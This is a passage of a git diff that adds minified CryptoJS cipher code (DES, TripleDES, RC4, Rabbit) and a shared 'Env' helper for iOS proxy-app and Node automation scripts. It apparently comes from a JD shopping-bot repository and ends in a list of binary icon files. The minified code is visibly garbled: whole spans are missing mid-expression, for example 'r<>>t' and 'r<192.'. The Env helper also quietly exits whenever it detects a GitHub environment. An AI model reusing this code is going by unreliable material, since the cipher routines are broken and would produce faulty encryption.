t=mt,e=t.lib,r=e.WordArray,i=e.BlockCipher,n=t.algo,o=[57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4],s=[14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32],c=[1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28],a=[{0:8421888,268435456:32768,536870912:8421378,805306368:2,1073741824:512,1342177280:8421890,1610612736:8389122,1879048192:8388608,2147483648:514,2415919104:8389120,2684354560:33280,2952790016:8421376,3221225472:32770,3489660928:8388610,3758096384:0,4026531840:33282,134217728:0,402653184:8421890,671088640:33282,939524096:32768,1207959552:8421888,1476395008:512,1744830464:8421378,2013265920:2,2281701376:8389120,2550136832:33280,2818572288:8421376,3087007744:8389122,3355443200:8388610,3623878656:32770,3892314112:514,4160749568:8388608,1:32768,268435457:2,536870913:8421888,805306369:8388608,1073741825:8421378,1342177281:33280,1610612737:512,1879048193:8389122,2147483649:8421890,2415919105:8421376,2684354561:8388610,2952790017:33282,3221225473:514,3489660929:8389120,3758096385:32770,4026531841:0,134217729:8421890,402653185:8421376,671088641:8388608,939524097:512,1207959553:32768,1476395009:8388610,1744830465:2,2013265921:33282,2281701377:32770,2550136833:8389122,2818572289:514,3087007745:8421888,3355443201:8389120,3623878657:0,3892314113:33280,4160749569:8421378},{0:1074282512,16777216:16384,33554432:524288,50331648:1074266128,67108864:1073741840,83886080:1074282496,100663296:1073758208,117440512:16,134217728:540672,150994944:1073758224,167772160:1073741824,184549376:540688,201326592:524304,218103808:0,234881024:16400,251658240:1074266112,8388608:1073758208,25165824:540688,41943040:16,58720256:1073758224,75497472:1074282512,92274688:1073741824,109051904:524288,125829120:1074266128,142606336:524304,159383552:0,176160768:16384,192937984:1074266112,209715200:1073741840,226492416:540672,243269632:1074282496,260046848:16400,268435456:0,285212672:1074266128,301989888:1073758224,318767104:1074282496,335544320:1074266112,352321536:16,369098752:540688,385875968:16384,402653184:16400,419430400:524288,436207616:524304,452984832:1073741840,469762048:540672,486539264:1073758208,503316480:1073741824,520093696:1074282512,276824064:540688,293601280:524288,310378496:1074266112,327155712:16384,343932928:1073758208,360710144:1074282512,377487360:16,394264576:1073741824,411041792:1074282496,427819008:1073741840,444596224:1073758224,461373440:524304,478150656:0,494927872:16400,511705088:1074266128,528482304:540672},{0:260,1048576:0,2097152:67109120,3145728:65796,4194304:65540,5242880:67108868,6291456:67174660,7340032:67174400,8388608:67108864,9437184:67174656,10485760:65792,11534336:67174404,12582912:67109124,13631488:65536,14680064:4,15728640:256,524288:67174656,1572864:67174404,2621440:0,3670016:67109120,4718592:67108868,5767168:65536,6815744:65540,7864320:260,8912896:4,9961472:256,11010048:67174400,12058624:65796,13107200:65792,14155776:67109124,15204352:67174660,16252928:67108864,16777216:67174656,17825792:65540,18874368:65536,19922944:67109120,20971520:256,22020096:67174660,23068672:67108868,24117248:0,25165824:67109124,26214400:67108864,27262976:4,28311552:65792,29360128:67174400,30408704:260,31457280:65796,32505856:67174404,17301504:67108864,18350080:260,19398656:67174656,20447232:0,21495808:65540,22544384:67109120,23592960:256,24641536:67174404,25690112:65536,26738688:67174660,27787264:65796,28835840:67108868,29884416:67109124,30932992:67174400,31981568:4,33030144:65792},{0:2151682048,65536:2147487808,131072:4198464,196608:2151677952,262144:0,327680:4198400,393216:2147483712,458752:4194368,524288:2147483648,589824:4194304,655360:64,720896:2147487744,786432:2151678016,851968:4160,917504:4096,983040:2151682112,32768:2147487808,98304:64,163840:2151678016,229376:2147487744,294912:4198400,360448:2151682112,425984:0,491520:2151677952,557056:4096,622592:2151682048,688128:4194304,753664:4160,819200:2147483648,884736:4194368,950272:4198464,1015808:2147483712,1048576:4194368,1114112:4198400,1179648:2147483712,1245184:0,1310720:4160,1376256:2151678016,1441792:2151682048,1507328:2147487808,1572864:2151682112,1638400:2147483648,1703936:2151677952,1769472:4198464,1835008:2147487744,1900544:4194304,1966080:64,2031616:4096,1081344:2151677952,1146880:2151682112,1212416:0,1277952:4198400,1343488:4194368,1409024:2147483648,1474560:2147487808,1540096:64,1605632:2147483712,1671168:4096,1736704:2147487744,1802240:2151678016,1867776:4160,1933312:2151682048,1998848:4194304,2064384:4198464},{0:128,4096:17039360,8192:262144,12288:536870912,16384:537133184,20480:16777344,24576:553648256,28672:262272,32768:16777216,36864:537133056,40960:536871040,45056:553910400,49152:553910272,53248:0,57344:17039488,61440:553648128,2048:17039488,6144:553648256,10240:128,14336:17039360,18432:262144,22528:537133184,26624:553910272,30720:536870912,34816:537133056,38912:0,43008:553910400,47104:16777344,51200:536871040,55296:553648128,59392:16777216,63488:262272,65536:262144,69632:128,73728:536870912,77824:553648256,81920:16777344,86016:553910272,90112:537133184,94208:16777216,98304:553910400,102400:553648128,106496:17039360,110592:537133056,114688:262272,118784:536871040,122880:0,126976:17039488,67584:553648256,71680:16777216,75776:17039360,79872:537133184,83968:536870912,88064:17039488,92160:128,96256:553910272,100352:262272,104448:553910400,108544:0,112640:553648128,116736:16777344,120832:262144,124928:537133056,129024:536871040},{0:268435464,256:8192,512:270532608,768:270540808,1024:268443648,1280:2097152,1536:2097160,1792:268435456,2048:0,2304:268443656,2560:2105344,2816:8,3072:270532616,3328:2105352,3584:8200,3840:270540800,128:270532608,384:270540808,640:8,896:2097152,1152:2105352,1408:268435464,1664:268443648,1920:8200,2176:2097160,2432:8192,2688:268443656,2944:270532616,3200:0,3456:270540800,3712:2105344,3968:268435456,4096:268443648,4352:270532616,4608:270540808,4864:8200,5120:2097152,5376:268435456,5632:268435464,5888:2105344,6144:2105352,6400:0,6656:8,6912:270532608,7168:8192,7424:268443656,7680:270540800,7936:2097160,4224:8,4480:2105344,4736:2097152,4992:268435464,5248:268443648,5504:8200,5760:270540808,6016:270532608,6272:270540800,6528:270532616,6784:8192,7040:2105352,7296:2097160,7552:0,7808:268435456,8064:268443656},{0:1048576,16:33555457,32:1024,48:1049601,64:34604033,80:0,96:1,112:34603009,128:33555456,144:1048577,160:33554433,176:34604032,192:34603008,208:1025,224:1049600,240:33554432,8:34603009,24:0,40:33555457,56:34604032,72:1048576,88:33554433,104:33554432,120:1025,136:1049601,152:33555456,168:34603008,184:1048577,200:1024,216:34604033,232:1,248:1049600,256:33554432,272:1048576,288:33555457,304:34603009,320:1048577,336:33555456,352:34604032,368:1049601,384:1025,400:34604033,416:1049600,432:1,448:0,464:34603008,480:33554433,496:1024,264:1049600,280:33555457,296:34603009,312:1,328:33554432,344:1048576,360:1025,376:34604032,392:33554433,408:34603008,424:0,440:34604033,456:1049601,472:1024,488:33555456,504:1048577},{0:134219808,1:131072,2:134217728,3:32,4:131104,5:134350880,6:134350848,7:2048,8:134348800,9:134219776,10:133120,11:134348832,12:2080,13:0,14:134217760,15:133152,2147483648:2048,2147483649:134350880,2147483650:134219808,2147483651:134217728,2147483652:134348800,2147483653:133120,2147483654:133152,2147483655:32,2147483656:134217760,2147483657:2080,2147483658:131104,2147483659:134350848,2147483660:0,2147483661:134348832,2147483662:134219776,2147483663:131072,16:133152,17:134350848,18:32,19:2048,20:134219776,21:134217760,22:134348832,23:131072,24:0,25:131104,26:134348800,27:134219808,28:134350880,29:133120,30:2080,31:134217728,2147483664:131072,2147483665:2048,2147483666:134348832,2147483667:133152,2147483668:32,2147483669:134348800,2147483670:134217728,2147483671:134219808,2147483672:134350880,2147483673:134217760,2147483674:134219776,2147483675:0,2147483676:133120,2147483677:2080,2147483678:131104,2147483679:134350848}],h=[4160749569,528482304,33030144,2064384,129024,8064,504,2147483679],l=n.DES=i.extend({_doReset:function(){for(var t=this._key.words,e=[],r=0;r<56;r++){var i=o[r]-1;e[r]=t[i>>>5]>>>31-i%32&1}for(var n=this._subKeys=[],a=0;a<16;a++){var h=n[a]=[],l=c[a];for(r=0;r<24;r++)h[r/6|0]|=e[(s[r]-1+l)%28]<<31-r%6,h[4+(r/6|0)]|=e[28+(s[r+24]-1+l)%28]<<31-r%6;for(h[0]=h[0]<<1|h[0]>>>31,r=1;r<7;r++)h[r]=h[r]>>>4*(r-1)+3;h[7]=h[7]<<5|h[7]>>>27}var f=this._invSubKeys=[];for(r=0;r<16;r++)f[r]=n[15-r]},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._subKeys)},decryptBlock:function(t,e){this._doCryptBlock(t,e,this._invSubKeys)},_doCryptBlock:function(t,e,r){this._lBlock=t[e],this._rBlock=t[e+1],f.call(this,4,252645135),f.call(this,16,65535),d.call(this,2,858993459),d.call(this,8,16711935),f.call(this,1,1431655765);for(var i=0;i<16;i++){for(var n=r[i],o=this._lBlock,s=this._rBlock,c=0,l=0;l<8;l++)c|=a[l][((s^n[l])&h[l])>>>0];this._lBlock=s,this._rBlock=o^c}var u=this._lBlock;this._lBlock=this._rBlock,this._rBlock=u,f.call(this,1,1431655765),d.call(this,8,16711935),d.call(this,2,858993459),f.call(this,16,65535),f.call(this,4,252645135),t[e]=this._lBlock,t[e+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});function f(t,e){var r=(this._lBlock>>>t^this._rBlock)&e;this._rBlock^=r,this._lBlock^=r<>>t^this._lBlock)&e;this._lBlock^=r,this._rBlock^=r<192.");var e=t.slice(0,2),i=t.length<4?t.slice(0,2):t.slice(2,4),n=t.length<6?t.slice(0,2):t.slice(4,6);this._des1=l.createEncryptor(r.create(e)),this._des2=l.createEncryptor(r.create(i)),this._des3=l.createEncryptor(r.create(n))},encryptBlock:function(t,e){this._des1.encryptBlock(t,e),this._des2.decryptBlock(t,e),this._des3.encryptBlock(t,e)},decryptBlock:function(t,e){this._des3.decryptBlock(t,e),this._des2.encryptBlock(t,e),this._des1.decryptBlock(t,e)},keySize:6,ivSize:2,blockSize:2});t.TripleDES=i._createHelper(u)}(),function(){var t=mt,e=t.lib.StreamCipher,r=t.algo,i=r.RC4=e.extend({_doReset:function(){for(var t=this._key,e=t.words,r=t.sigBytes,i=this._S=[],n=0;n<256;n++)i[n]=n;n=0;for(var o=0;n<256;n++){var s=n%r,c=e[s>>>2]>>>24-s%4*8&255;o=(o+i[n]+c)%256;var a=i[n];i[n]=i[o],i[o]=a}this._i=this._j=0},_doProcessBlock:function(t,e){t[e]^=n.call(this)},keySize:8,ivSize:0});function n(){for(var t=this._S,e=this._i,r=this._j,i=0,n=0;n<4;n++){r=(r+t[e=(e+1)%256])%256;var o=t[e];t[e]=t[r],t[r]=o,i|=t[(t[e]+t[r])%256]<<24-8*n}return this._i=e,this._j=r,i}t.RC4=e._createHelper(i);var o=r.RC4Drop=i.extend({cfg:i.cfg.extend({drop:192}),_doReset:function(){i._doReset.call(this);for(var t=this.cfg.drop;0>>24)|4278255360&(t[r]<<24|t[r]>>>8);var i=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],n=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]];for(r=this._b=0;r<4;r++)Rt.call(this);for(r=0;r<8;r++)n[r]^=i[r+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(n[0]^=a,n[1]^=l,n[2]^=h,n[3]^=f,n[4]^=a,n[5]^=l,n[6]^=h,n[7]^=f,r=0;r<4;r++)Rt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Rt.call(this),lt[0]=r[0]^r[5]>>>16^r[3]<<16,lt[1]=r[2]^r[7]>>>16^r[5]<<16,lt[2]=r[4]^r[1]>>>16^r[7]<<16,lt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)lt[i]=16711935&(lt[i]<<8|lt[i]>>>24)|4278255360&(lt[i]<<24|lt[i]>>>8),t[e+i]^=lt[i]},blockSize:4,ivSize:2}),ct.Rabbit=at._createHelper(ut),mt.mode.CTR=(_t=(pt=mt.lib.BlockCipherMode.extend()).Encryptor=pt.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._counter;n&&(o=this._counter=n.slice(0),this._iv=void 0);var s=o.slice(0);r.encryptBlock(s,0),o[i-1]=o[i-1]+1|0;for(var c=0;c>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],i=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],n=this._b=0;n<4;n++)Mt.call(this);for(n=0;n<8;n++)i[n]^=r[n+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(i[0]^=a,i[1]^=l,i[2]^=h,i[3]^=f,i[4]^=a,i[5]^=l,i[6]^=h,i[7]^=f,n=0;n<4;n++)Mt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Mt.call(this),Bt[0]=r[0]^r[5]>>>16^r[3]<<16,Bt[1]=r[2]^r[7]>>>16^r[5]<<16,Bt[2]=r[4]^r[1]>>>16^r[7]<<16,Bt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)Bt[i]=16711935&(Bt[i]<<8|Bt[i]>>>24)|4278255360&(Bt[i]<<24|Bt[i]>>>8),t[e+i]^=Bt[i]},blockSize:4,ivSize:2}),vt.RabbitLegacy=yt._createHelper(St),mt.pad.ZeroPadding={pad:function(t,e){var r=4*e;t.clamp(),t.sigBytes+=r-(t.sigBytes%r||r)},unpad:function(t){var e=t.words,r=t.sigBytes-1;for(r=t.sigBytes-1;0<=r;r--)if(e[r>>>2]>>>24-r%4*8&255){t.sigBytes=r+1;break}}},mt}); +} + + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}isShadowrocket(){return"undefined"!=typeof $rocket}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}put(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"put";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/icon/DD_bot.png b/icon/DD_bot.png new file mode 100644 index 0000000..d3cdc58 Binary files /dev/null and b/icon/DD_bot.png differ diff --git a/icon/Snipaste_2020-08-28_09-31-42.png b/icon/Snipaste_2020-08-28_09-31-42.png new file mode 100644 index 0000000..073f989 Binary files /dev/null and b/icon/Snipaste_2020-08-28_09-31-42.png differ diff --git a/icon/TG_PUSH1.png b/icon/TG_PUSH1.png new file mode 100644 index 0000000..0e2c8a1 Binary files /dev/null and b/icon/TG_PUSH1.png differ diff --git a/icon/TG_PUSH2.png b/icon/TG_PUSH2.png new file mode 100644 index 0000000..429d784 Binary files /dev/null and b/icon/TG_PUSH2.png differ diff --git a/icon/TG_PUSH3.png b/icon/TG_PUSH3.png new file mode 100644 index 0000000..e213067 Binary files /dev/null and b/icon/TG_PUSH3.png differ diff --git a/icon/action1.png b/icon/action1.png new file mode 100644 index 0000000..ca1ab73 Binary files /dev/null and b/icon/action1.png differ diff --git a/icon/action2.png b/icon/action2.png new file mode 100644 index 0000000..7874958 Binary files /dev/null and b/icon/action2.png differ diff --git a/icon/action3.png b/icon/action3.png new file mode 100644 index 0000000..32b2db3 Binary files /dev/null and b/icon/action3.png differ diff --git a/icon/bark.jpg b/icon/bark.jpg new file mode 100644 index 0000000..0cbdadf Binary files /dev/null and b/icon/bark.jpg differ diff --git a/icon/bean_sign_simple.jpg b/icon/bean_sign_simple.jpg new file mode 100644 index 0000000..1c01c7c Binary files /dev/null and b/icon/bean_sign_simple.jpg differ diff --git a/icon/disable-action.jpg b/icon/disable-action.jpg new file mode 100644 index 0000000..9310908 Binary files /dev/null and b/icon/disable-action.jpg differ diff --git a/icon/fork.png b/icon/fork.png new file mode 100644 index 0000000..46b5b72 Binary files /dev/null and b/icon/fork.png differ diff --git a/icon/git1.jpg b/icon/git1.jpg new file mode 100644 index 0000000..aeaf461 Binary files /dev/null and b/icon/git1.jpg differ diff --git a/icon/git10.jpg b/icon/git10.jpg new file mode 100644 index 0000000..d0dd7d8 Binary files /dev/null and b/icon/git10.jpg differ diff --git a/icon/git11.jpg b/icon/git11.jpg new file mode 100644 index 0000000..313c456 Binary files /dev/null and b/icon/git11.jpg differ diff --git a/icon/git12.jpg b/icon/git12.jpg new file mode 100644 index 0000000..e880919 Binary files /dev/null and b/icon/git12.jpg differ diff --git a/icon/git13.jpg b/icon/git13.jpg new file mode 100644 index 0000000..65c0f69 Binary files /dev/null and b/icon/git13.jpg differ diff --git a/icon/git14.jpg b/icon/git14.jpg new file mode 100644 index 0000000..bd7f377 Binary files /dev/null and b/icon/git14.jpg differ diff --git a/icon/git2.jpg b/icon/git2.jpg new file mode 100644 index 0000000..7cb7642 Binary files /dev/null and b/icon/git2.jpg differ diff --git a/icon/git3.jpg b/icon/git3.jpg new file mode 100644 index 0000000..603c79c Binary files /dev/null and b/icon/git3.jpg differ diff --git a/icon/git4.jpg b/icon/git4.jpg new file mode 100644 index 0000000..ae2f427 Binary files /dev/null and b/icon/git4.jpg differ diff --git a/icon/git5.jpg b/icon/git5.jpg new file mode 100644 index 0000000..3bfa3fa Binary files /dev/null and b/icon/git5.jpg differ diff --git a/icon/git6.jpg b/icon/git6.jpg new file mode 100644 index 0000000..8bf8551 Binary files /dev/null and b/icon/git6.jpg differ diff --git a/icon/git7.png b/icon/git7.png new file mode 100644 index 0000000..d40f2c0 Binary files /dev/null and b/icon/git7.png differ diff --git a/icon/git8.jpg b/icon/git8.jpg new file mode 100644 index 0000000..db30fa4 Binary files /dev/null and b/icon/git8.jpg differ diff --git a/icon/git9.jpg b/icon/git9.jpg new file mode 100644 index 0000000..e44757e Binary files /dev/null and b/icon/git9.jpg differ diff --git a/icon/iCloud1.png b/icon/iCloud1.png new file mode 100644 index 0000000..669ac59 Binary files /dev/null and b/icon/iCloud1.png differ diff --git a/icon/iCloud2.png b/icon/iCloud2.png new file mode 100644 index 0000000..fae4485 Binary files /dev/null and b/icon/iCloud2.png differ diff --git a/icon/iCloud3.png b/icon/iCloud3.png new file mode 100644 index 0000000..dcb6b0d Binary files /dev/null and b/icon/iCloud3.png differ diff --git a/icon/iCloud4.png b/icon/iCloud4.png new file mode 100644 index 0000000..41e852b Binary files /dev/null and b/icon/iCloud4.png differ diff --git a/icon/iCloud5.png b/icon/iCloud5.png new file mode 100644 index 0000000..d565183 Binary files /dev/null and b/icon/iCloud5.png differ diff --git a/icon/iCloud6.png b/icon/iCloud6.png new file mode 100644 index 0000000..8210a7f Binary files /dev/null and b/icon/iCloud6.png differ diff --git a/icon/iCloud7.png b/icon/iCloud7.png new file mode 100644 index 0000000..6fd538b Binary files /dev/null and b/icon/iCloud7.png differ diff --git a/icon/iCloud8.png b/icon/iCloud8.png new file mode 100644 index 0000000..3f0d05e Binary files /dev/null and b/icon/iCloud8.png differ diff --git a/icon/jd1.jpg b/icon/jd1.jpg new file mode 100644 index 0000000..33a9f8f Binary files /dev/null and b/icon/jd1.jpg differ diff --git a/icon/jd2.jpg b/icon/jd2.jpg new file mode 100644 index 0000000..cd6f839 Binary files /dev/null and b/icon/jd2.jpg differ diff --git a/icon/jd3.jpg b/icon/jd3.jpg new file mode 100644 index 0000000..264ea71 Binary files /dev/null and b/icon/jd3.jpg differ diff --git a/icon/jd4.jpg b/icon/jd4.jpg new file mode 100644 index 0000000..7f6f4c8 Binary files /dev/null and b/icon/jd4.jpg differ diff --git a/icon/jd5.png b/icon/jd5.png new file mode 100644 index 0000000..f797266 Binary files /dev/null and 